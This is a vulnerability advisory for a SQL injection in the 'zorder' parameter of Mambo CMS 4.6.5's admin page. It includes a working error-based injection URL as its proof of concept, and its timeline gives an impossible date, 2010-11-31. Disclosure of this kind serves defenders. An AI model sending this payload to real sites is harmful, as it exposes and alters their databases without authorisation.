Mambo CMS 4.6.x (4.6.5) SQL Injection Vulnerability

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Mambo CMS 4.6.x (4.6.5) | SQL Injection
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1. OVERVIEW
 
Mambo CMS 4.6.5 and lower versions are vulnerable to SQL Injection.
 
 
2. BACKGROUND
 
Mambo is a full-featured, award-winning content management system that can be used for everything from simple websites to complex corporate applications. It is used all over the world to power government portals, corporate intranets and extranets, ecommerce sites, nonprofit outreach, schools, church, and community sites. Mambo's "power in simplicity" also makes it the CMS of choice for many small businesses and personal sites.
 
 
3. VULNERABILITY DESCRIPTION
 
The "zorder" parameter was not properly sanitized upon submission to the administrator/index2.php url, which allows attacker to conduct  SQL Injection attack. This could an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.
 
 
4. VERSIONS AFFECTED
 
Tested on Mambo CMS 4.6.5
 
 
5. PROOF-OF-CONCEPT/EXPLOIT
 
http://localhost/mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder=-1 OR (SELECT 9999 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,112,101,58),(SELECT (CASE WHEN (9999=9999) THEN 1 ELSE 0 END)),CHAR(58,110,100,107,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&filter_authorid=62&hidemainmenu=0&option=com_typedcontent
 
 
6. SOLUTION
 
The vendor seems to discontinue the development. It is recommended to use another CMS in active development.
 
 
7. VENDOR
 
Mambo CMS Development Team
http://mambo-developer.org
 
 
8. CREDIT
 
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
 
 
9. DISCLOSURE TIME-LINE
 
2010-11-31: notified vendor through bug tracker
2011-08-12: no patched version released up to date
2011-08-12: vulnerability disclosed



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